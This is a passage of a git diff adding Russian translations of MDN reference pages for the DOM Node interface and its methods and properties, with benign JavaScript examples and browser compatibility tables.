В данном примере alert выведет '#text', потому что текстовый узел вставлен для сохранения пробела между концом открытого <p> и тега <span>. Любое пустое пространство между элементами является причиной вставки узла #text, начиная от единичного пробела, разрыва строки, отступа и так далее.

+ +

Другой #text узел вставляется между закрывающими тегами </span> и </p>.

+ +

Если эти пробелы удаляются из источника,  #text узлы не вставляются и элемент span становится первым потомком обзаца.

+ +
<p id="para-01"><span>First span</span></p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+
+ +

Теперь alert будет показывать 'SPAN'.

+ +

Спецификации

+ + diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html new file mode 100644 index 0000000000..869ef2618a --- /dev/null +++ b/files/ru/web/api/node/getuserdata/index.html @@ -0,0 +1,113 @@ +--- +title: Node.getUserData() +slug: Web/API/Node/getUserData +translation_of: Web/API/Node/getUserData +--- +

{{APIRef("DOM")}}{{ obsolete_header() }}

+ +

Метод Node.getUserData() возвращает любого пользователя {{domxref("DOMUserData")}} установленного предварительно на данном узле через {{domxref("Node.setUserData()")}}.

+ +
+

Методы Node.setUserData и {{domxref("Node.getUserData")}} больше не доступны для веб-контента. {{domxref("Element.dataset")}} или WeakMap могут быть использованы вместо него.

+
+ +

Синтаксис

+ +
userData = someNode.getUserData(userKey);
+ +

Параметры

+ + + +

Пример

+ +
var d = document.setUserData('key', 15, null);
+alert(document.getUserData('key')); // 15
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Удалено из спецификации
{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}{{Spec2('DOM3 Core')}}Изначальное описание
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.
+ Удалено в {{CompatGeckoDesktop("22.0")}} [1]		{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.
+ Удалено в {{CompatGeckoMobile("22.0")}} [1]		{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Метод по-прежнему доступен для chrome скриптов.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/node/haschildnodes/index.html b/files/ru/web/api/node/haschildnodes/index.html new file mode 100644 index 0000000000..947072dfe6 --- /dev/null +++ b/files/ru/web/api/node/haschildnodes/index.html @@ -0,0 +1,37 @@ +--- +title: Node.hasChildNodes() +slug: Web/API/Node/hasChildNodes +translation_of: Web/API/Node/hasChildNodes +--- +
+
{{APIRef("DOM")}}
+
+ +

Метод Node.hasChildNodes() возвращает {{jsxref("Boolean")}} значение показывающее имеет ли текущий {{domxref("Node")}} дочерние узлы или нет.

+ +

Синтаксис

+ +
node.hasChildNodes()
+ +

Пример

+ +

Следующий пример удаляет первый дочерний узел внутри элемента с id "foo", если foo имеет дочерние узлы.

+ +
var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}
+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html new file mode 100644 index 0000000000..5e314a339c --- /dev/null +++ b/files/ru/web/api/node/index.html @@ -0,0 +1,367 @@ +--- +title: Node +slug: Web/API/Node +tags: + - API + - DOM +translation_of: Web/API/Node +--- +
{{APIRef("DOM")}}
+ +

Node это интерфейс, от которого наследуют несколько типов DOM, он так же позволяет различным типам быть обработанными(или протестированными).

+ +

Следующие интерфейсы полностью наследуют от Node его методы и свойства: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (which {{domxref("Text")}}, {{domxref("Comment")}}, и {{domxref("CDATASection")}} inherit), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}

+ +

Эти интерфейсы могут возвращать null в особых случаях, когда методы и свойства не уместны. Они могут сбросить исключение - например, когда добавляются дети к типу узла, у которого не может их существовать.

+ +

Свойства

+ +

Наследует свойства от родителей {{domxref("EventTarget")}}.[1]

+ +
+
{{domxref("Node.baseURI")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} показывающие основной URL. Понятие основного URL изменяется из одного языка в другой; В HTML, это соответствует протоколу , доменному имени и структуре каталогов, все до последнего '/'.
+
{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}
+
(Не доступно для веб-контента.) Только для чтения. Объект {{ Interface("nsIURI") }}, представляющий базовый URI элемента.
+
{{domxref("Node.childNodes")}} {{readonlyInline}}
+
Возвращает живой {{domxref("NodeList")}}, содержащий всех потомков данного узла. Живой {{domxref("NodeList")}} означает то, что если потомки узла изменяются, объект {{domxref("NodeList")}} автоматически обновляется.
+
{{domxref("Node.firstChild")}} {{readonlyInline}}
+
Возвращает {{domxref("Node")}}, представляющий первый прямой узел потомок узла или null, если узел не имеет потомков.
+
{{domxref("Node.lastChild")}} {{readonlyInline}}
+
Возвращает {{domxref("Node")}}, представляющий последний прямой узел потомок узла или null, если узел не имеет потомков.
+
{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от localName быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.
+
{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}
+
Пространство имен URI данного узла или null, если нет пространства имен. В Firefox 3.5 и более ранних версиях, HTML элементы не имееют пространства имен. В более поздних версиях, HTML элементы находятся в пространстве имен http://www.w3.org/1999/xhtml для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}
+ Хотя недавние спецификации требуют namespaceURI быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.
+
{{domxref("Node.nextSibling")}} {{readonlyInline}}
+
Возвращает {{domxref("Node")}} представляющий следующий узел в древе или null, если не такого узла.
+
{{domxref("Node.nodeName")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}} содержащий имя узла. Структура имени будет отличаться от типа имени. Например, {{domxref("HTMLElement")}} будет содержать имя соответствующего тега: 'audio' для {{domxref("HTMLAudioElement")}}, узел {{domxref("Text")}} будет строкой '#text' или узел {{domxref("Document")}} будет строкой '#document'.
+
{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}
+
{{ Interface("nsIPrincipal") }} представляет основной узел.
+
{{domxref("Node.nodeType")}}{{readonlyInline}}
+
Возвращает беззнаковое короткое число (unsigned short) представляющее тип узла. Возможные значения: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяЗначение
ELEMENT_NODE1
ATTRIBUTE_NODE {{deprecated_inline()}}2
TEXT_NODE3
CDATA_SECTION_NODE {{deprecated_inline()}}4
ENTITY_REFERENCE_NODE {{deprecated_inline()}}5
ENTITY_NODE {{deprecated_inline()}}6
PROCESSING_INSTRUCTION_NODE7
COMMENT_NODE8
DOCUMENT_NODE9
DOCUMENT_TYPE_NODE10
DOCUMENT_FRAGMENT_NODE11
NOTATION_NODE {{deprecated_inline()}}12
+
+
{{domxref("Node.nodeValue")}}
+
Это {{domxref("DOMString")}}, представляющее значение объектов. Для большинства типов Node, возвращает null и любой набор операция игнорируется. Для узлов типа TEXT_NODE ({{domxref("Text")}} objects), COMMENT_NODE ({{domxref("Comment")}} objects), и PROCESSING_INSTRUCTION_NODE ({{domxref("ProcessingInstruction")}} objects), значение соответствует текстовым данным, содержащихся в объекте.
+
{{domxref("Node.ownerDocument")}} {{readonlyInline}}
+
Возвращает {{domxref("Document")}} к которому принадлежит этот узел. Если нет связанного сним документа, возвращает null.
+
{{domxref("Node.parentNode")}} {{readonlyInline}}
+
Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернет null.
+
{{domxref("Node.parentElement")}} {{readonlyInline}}
+
Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернет null.
+
{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}
+
{{domxref("DOMString")}} представляющий префикс пространства имен узла или null если нет префикса точно определенного.
+ Хотя недавние спецификации требуют того, чтобы префикс был определен как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko еще реализовывают его как интерфейс {{domxref("Node")}}.
+
{{domxref("Node.previousSibling")}} {{readonlyInline}}
+
Возвращают {{domxref("Node")}} представляющий предыдущий узел древа или null, если нет такого узла.
+
{{domxref("Node.textContent")}}
+
Это {{domxref("DOMString")}} представляющее текстовый контент элемента и всех его потомков.
+
+ +

Методы

+ +

Наследует методы от своих родителей {{domxref("EventTarget")}}.[1]

+ +
+
{{domxref("Node.appendChild()")}}
+
Вставляет {{domxref("Node")}} как последний дочерний узел данного элемента.
+
{{domxref("Node.cloneNode()")}}
+
Клонирует {{domxref("Node")}}, и опционально, все его компоненты. По умолчанию, оно клонирует содержимое узла.
+
{{domxref("Node.compareDocumentPosition()")}}
+
 
+
{{domxref("Node.contains()")}}
+
 
+
{{domxref("Node.getFeature()")}} {{obsolete_inline}}
+
...
+
{{domxref("Node.getUserData()")}} {{obsolete_inline}}
+
Позволяет пользователю получить некоторый {{domxref("DOMUserData")}} от узла.
+
{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}
+
Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента какие-либо атрибуты или нет.
+
{{domxref("Node.hasChildNodes()")}}
+
Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента дочерние узлы или нет.
+
{{domxref("Node.insertBefore()")}}
+
Вставляет первым {{domxref("Node")}} данный в качестве параметра, непосредственно перед вторым, потомком данного элемента {{domxref("Node")}}.
+
{{domxref("Node.isDefaultNamespace()")}}
+
 
+
{{domxref("Node.isEqualNode()")}}
+
 
+
{{domxref("Node.isSameNode()")}} {{obsolete_inline}}
+
 
+
{{domxref("Node.isSupported()")}} {{obsolete_inline}}
+
Возвращает Boolean флаг содержащий результаты теста, реализует ли реализация DOM конкретную особенность и поддерживается ли эта особенность конкретным узлом.
+
{{domxref("Node.lookupPrefix()")}}
+
 
+
{{domxref("Node.lookupNamespaceURI()")}}
+
 
+
{{domxref("Node.normalize()")}}
+
Очищает все текстовые узлы под этим элементом (поглотить смежный, удалить пустой).
+
{{domxref("Node.removeChild()")}}
+
Удаляет дочерний узел из текущего элемента, который должен быть потомком текущего узла.
+
{{domxref("Node.replaceChild()")}}
+
Заменяет одного потомка {{domxref("Node")}} из существующего на второй указанный в параметре.
+
{{domxref("Node.setUserData()")}} {{obsolete_inline}}
+
Позволяет пользователю присоединить или удалить {{domxref("DOMUserData")}} к узлу.
+
 
+
+ +

Примеры

+ +

Просмотреть все дочерние узлы

+ +

Следующая функция рекурсивный цикл всех дочерних узлов узла и она исполняет вызов функции относительно их (и себя относительно родительского узла).

+ +
function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}
+ +

Синтаксис

+ +
DOMComb(parentNode, callbackFunction);
+ +

Описание

+ +

Рекурсивный цикл всех дочерних узлов parentNode и самого parentNode, выполняет callbackFunction относительно их  как эти объекты.

+ +

Параметры

+ +
+
parentNode
+
Родительский узел (Node Object).
+
callbackFunction
+
Обратный вызов функции (Function).
+
+ +

Пример использования

+ +

Следующий пример отправляет в console.log текстовое содержимое body:

+ +
function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};
+ +

Удалить все потомки, вложенные в узел

+ +
Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};
+ +

Пример использования

+ +
/* ... как альтернатива document.body.innerHTML = "" ... */
+document.body.removeAll();
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СецификацияСтатусКоментарий
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Удалены следующие свойства: attributes, namespaceURI, prefix, и localName.
+ Удалены следующие методы: isSupported(), hasAttributes(), isSameNode(), getFeature(), setUserData(), и getUserData().
{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM3 Core')}}Методы insertBefore(), replaceChild(), removeChild(), and appendChild() возвращают еще один вид ошибок (NOT_SUPPORTED_ERR) если вызваны из {{domxref("Document")}}.
+ Метод normalize() был модифицирован таким образом, что узел {{domxref("Text")}} также может быть нормализован, если надлежащий флаг {{domxref("DOMConfiguration")}} установлен.
+ Добавлены следующие методы: compareDocumentPosition(), isSameNode(), lookupPrefix(), isDefaultNamespace(), lookupNamespaceURI(), isEqualNode(), getFeature(), setUserData(), and getUserData().
+ Добавлены следующие свойства: baseURI and textContent.
{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}{{Spec2('DOM2 Core')}}Свойство ownerDocument был слегка изменен, так что {{domxref("DocumentFragment")}} также возвращает null.
+ Добавлены следующие свойства: namespaceURI, prefix, and localName.
+ Добавлены следующие методы: normalize(), isSupported() and hasAttributes().
{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

 

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
getFeature(){{obsolete_inline}}{{CompatNo}}Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.
+ Удалено в {{CompatGeckoDesktop("7.0")}}		{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
getUserData(), setUserData() and hasAttributes() {{deprecated_inline}}{{CompatNo}}Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.
+ Удалено в {{CompatGeckoDesktop("22.0")}}		{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
isSameNode() {{obsolete_inline}}{{CompatNo}}Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.
+ Удалено в {{CompatGeckoDesktop("10.0")}}		{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
isSupported() {{obsolete_inline}}{{CompatUnknown}}Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.
+ Удалено в {{CompatGeckoDesktop("22.0")}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
attributes{{CompatNo}}Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.
+ Перемещено к  {{domxref("Element")}} в {{CompatGeckoDesktop("22.0")}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
getFeature(){{obsolete_inline}}{{CompatNo}}Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.
+ Удалено в {{CompatGeckoDesktop("7.0")}}		{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Webkit и Blink неверно не делают Node наследуя от {{domxref("EventTarget")}}.

diff --git a/files/ru/web/api/node/innertext/index.html b/files/ru/web/api/node/innertext/index.html new file mode 100644 index 0000000000..ef23b48d59 --- /dev/null +++ b/files/ru/web/api/node/innertext/index.html @@ -0,0 +1,46 @@ +--- +title: Node.innerText +slug: Web/API/Node/innerText +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

Node.innerText - это свойство, позволяющее задавать или получать текстовое содержимое элемента и его потомков. В качестве геттера, свойство приближается к тексту, который пользователь получит, если он выделит содержимое элемента курсором, затем копирует его в буфер обмена.

+ +

Изначально, данное поведение было представленно Internet Explorer, и было формально специализированно в стандарте HTML в 2016 после того, как было адаптированно всеми ведущими браузерами.

+ +

{{domxref("Node.textContent")}} - это альтернативное свойство, которое имеет ряд отличий:

+ + + +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Представлено, основываясь на черновике спецификации innerText. См. whatwg/html#465 и whatwg/compat#5.
+ +

Поддержка браузерами

+ +

{{Compat("api.Node.innerText")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html new file mode 100644 index 0000000000..f28d388147 --- /dev/null +++ b/files/ru/web/api/node/insertbefore/index.html @@ -0,0 +1,132 @@ +--- +title: Node.insertBefore() +slug: Web/API/Node/insertBefore +tags: + - API + - DOM + - DOM Element Methods + - Method + - WebAPI +translation_of: Web/API/Node/insertBefore +--- +
+
{{APIRef("DOM")}}
+
+ +

Метод Node.insertBefore() добавляет элемент в  список дочерних элементов родителя перед указанным элементом.

+ +

Синтаксис

+ +
var insertedElement = parentElement.insertBefore(newElement, referenceElement);
+
+ +

В Mozilla Firefox, если referenceElement не задан или равен null, newElement вcтавляется в конец списка дочерних элеметнов. В IE, referenceElement равный undefined, сгенерируется исключение "Invalid argument", в то время как Chrome сгенерирует исключение  "Uncaught TypeError", ожидая 2 аргумента.

+ + + +

Пример

+ +
<div id="parentElement">
+  <span id="childElement">foo bar</span>
+</div>
+
+<script>
+// Создаем новый <span>
+var sp1 = document.createElement("span");
+
+// Получаем ссылку на элемент, перед которым мы хотим вставить sp1
+var sp2 = document.getElementById("childElement");
+//Получаем ссылку на родителя sp2
+var parentDiv = sp2.parentNode;
+
+// Вставляем sp1 перед sp2
+parentDiv.insertBefore(sp1, sp2);
+</script>
+
+ +

Однако нет метода insertAfter. Он может быть заменен использованием метода insertBefore в связке с nextSibling.

+ +

В предыдущем примере sp1 может быть вставлен после sp2 следующим образом:

+ +
parentDiv.insertBefore(sp1, sp2.nextSibling);
+ +

Если sp2 не имеет следующего элемента, то он будет последним дочерним элементом,  sp2.nextSibling вернет null, а sp1 вставится в конец дочернего узла (сразу после sp2).

+ +

Пример 2

+ +

Вставка элемента перед первым дочерним элементом с помощью firstChild.

+ +
// Получаем ссылку на элемент в который мы хотим добавить новый элемент
+var parentElement = document.getElementById('parentElement');
+// Получаем ссылку на первый дочерний элемент
+var theFirstChild = parentElement.firstChild;
+
+// Создаем новый элемент, который будем добавлять
+var newElement = document.createElement("div");
+
+// Вставляем новый элемент перед первым дочерним элементом
+parentElement.insertBefore(newElement, theFirstChild);
+
+ +

Когда у родителя нет первого дочернего элемента, firstChild вернет null. Новый элемент все равно будет втавляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемета, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/isconnected/index.html b/files/ru/web/api/node/isconnected/index.html new file mode 100644 index 0000000000..aef8cf8ee7 --- /dev/null +++ b/files/ru/web/api/node/isconnected/index.html @@ -0,0 +1,87 @@ +--- +title: Node.isConnected +slug: Web/API/Node/isConnected +translation_of: Web/API/Node/isConnected +--- +

{{APIRef("DOM")}}

+ +

The isConnected read-only property of the {{domxref("Node")}} interface returns a boolean indicating whether the Node is connected (directly or indirectly) to the context object, for example the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.

+ +

Синтаксис

+ +
var isItConnected = nodeObjectInstance.isConnected
+ +

Return value

+ +

A {{domxref("Boolean")}} that is true if the node is connected to its relevant context object, and false if not.

+ +

Пример

+ +

Стандартный DOM пример:

+ +
let test = document.createElement('p');
+console.log(test.isConnected); // returns false
+document.body.appendChild(test);
+console.log(test.isConnected); // returns true
+
+ +

A shadow DOM example:

+ +
// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+console.log(style.isConnected); // returns false
+
+style.textContent = '.wrapper {' +
+                       'position: relative;' +
+                    '}' +
+
+                     '.info {' +
+                        'font-size: 0.8rem;' +
+                        'width: 200px;' +
+                        'display: inline-block;' +
+                        'border: 1px solid black;' +
+                        'padding: 10px;' +
+                        'background: white;' +
+                        'border-radius: 10px;' +
+                        'opacity: 0;' +
+                        'transition: 0.6s all;' +
+                        'position: absolute;' +
+                        'bottom: 20px;' +
+                        'left: 10px;' +
+                        'z-index: 3;' +
+                      '}' +
+
+// attach the created style element to the shadow dom
+
+shadow.appendChild(style);
+console.log(style.isConnected); // returns true
+ +

 

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-node-isconnected','isConnected')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Поддержка Браузерами

+ +
+ + +

{{Compat("api.Node.isConnected")}}

+
diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html new file mode 100644 index 0000000000..941474c135 --- /dev/null +++ b/files/ru/web/api/node/isdefaultnamespace/index.html @@ -0,0 +1,34 @@ +--- +title: Node.isDefaultNamespace() +slug: Web/API/Node/isDefaultNamespace +translation_of: Web/API/Node/isDefaultNamespace +--- +
+
{{APIRef("DOM")}}
+
+ +

Метод Node.isDefaultNamespace() принимает URI пространства имен в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением true если пространство имен является пространством имен данного узла по умолчанию или false если нет.

+ +

Синтаксис

+ +
result = node.isDefaultNamespace(namespaceURI)
+
+ + + +

Пример

+ +
var XULNS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+var el = document.getElementsByTagNameNS(XULNS, 'textbox')[0];
+
+alert(el.isDefaultNamespace(XULNS)); // true
+ +

Спецификация

+ + diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html new file mode 100644 index 0000000000..3c76678b0a --- /dev/null +++ b/files/ru/web/api/node/isequalnode/index.html @@ -0,0 +1,66 @@ +--- +title: Node.isEqualNode() +slug: Web/API/Node/isEqualNode +translation_of: Web/API/Node/isEqualNode +--- +
+
{{APIRef("DOM")}}
+
+ +

 Node.isEqualNode() проверяет, равны ли два узла. Два узла равны, когда они имеют один и тот же тип, определяющий характеристики (для элементов это будет их идентификатор, количество потомков и т. д.), Его атрибуты совпадают и т. д. Конкретный набор точек данных, которые должны совпадать, зависит от типов узлов.

+ +

Синтаксис

+ +
var isEqualNode = node.isEqualNode(otherNode);
+
+ + + +

Пример

+ +

В этом примере мы создаем три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.

+ +

HTML

+ +
<div>This is the first element.</div>
+<div>This is the second element.</div>
+<div>This is the first element.</div>
+
+<p id="output"></p>
+ + + + + +

JavaScript

+ +
let output = document.getElementById("output");
+let divList  = document.getElementsByTagName("div");
+
+output.innerHTML += "div 0 equals div 0: " + divList[0].isEqualNode(divList[0]) + "<br/>";
+output.innerHTML += "div 0 equals div 1: " + divList[0].isEqualNode(divList[1]) + "<br/>";
+output.innerHTML += "div 0 equals div 2: " + divList[0].isEqualNode(divList[2]) + "<br/>";
+ +

Results

+ +

{{ EmbedLiveSample('Example', 480) }}

+ +

Спецификации

+ + diff --git a/files/ru/web/api/node/issamenode/index.html b/files/ru/web/api/node/issamenode/index.html new file mode 100644 index 0000000000..b8050e92d6 --- /dev/null +++ b/files/ru/web/api/node/issamenode/index.html @@ -0,0 +1,110 @@ +--- +title: Node.isSameNode() +slug: Web/API/Node/isSameNode +translation_of: Web/API/Node/isSameNode +--- +
{{APIRef("DOM")}} {{ Obsolete_header }}
+ +

The Node.isSameNode() проверяет ссылаются ли два узла на один и тот же объект.

+ +
+

Предупреждение: Данный метод больше не реализуется в последних браузерах.

+ +
// Instead of using
+node1.isSameNode(node2)
+
+// use
+node1 === node2 // or
+node1 == node2
+
+ +

Синтаксис

+ +
var isSameNode = node.isSameNode(other);
+
+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Удалено из спецификации.
{{SpecName('DOM3 Core', 'core.html#Node3-isSameNode', 'Node.isSameNode()')}}{{Spec2('DOM3 Core')}}Изначальное описание.
+ +

Совместимость в браузерах

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatUnknown}}Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.
+ Удалено в {{CompatGeckoDesktop("10.0")}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("9.0")}}.
+ Удалено в {{CompatGeckoMobile("10.0")}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html new file mode 100644 index 0000000000..0581349b24 --- /dev/null +++ b/files/ru/web/api/node/issupported/index.html @@ -0,0 +1,124 @@ +--- +title: Node.isSupported() +slug: Web/API/Node/isSupported +translation_of: Web/API/Node/isSupported +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +

Node.isSupported() возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определенное свойство и поддерживается ли это свойство конкретным узлом.

+ +

Синтаксис

+ +
boolValue = element.isSupported(feature, version)
+ +

Параметры

+ +
+
feature
+
Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод hasFeature в DOMImplementation. Возможные значения определенные в спецификации ядра DOM перечислены в DOM Level 2 соответствующий раздел.
+
version
+
Это {{domxref("DOMString")}} содержащая номер версии свойства для ис проверки.В DOM уровень 2, version 1, это строка 2.0. если версия не указана, поддерживает любую версию свойства, вызывает метод и возвращает true.
+
+ +

Пример

+ +
<div id="doc">
+</div>
+
+<script>
+ // Получить элемент и проверить поддерживает ли он модуль DOM2 HTML.
+ var main = document.getElementById('doc');
+ var output = main.isSupported('HTML', '2.0');
+</script>
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}{{Spec2('DOM WHATWG')}}Удалено из спецификации.
{{SpecName('DOM3 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}{{Spec2('DOM3 Core')}}Никаких изменений с {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}{{Spec2('DOM2 Core')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
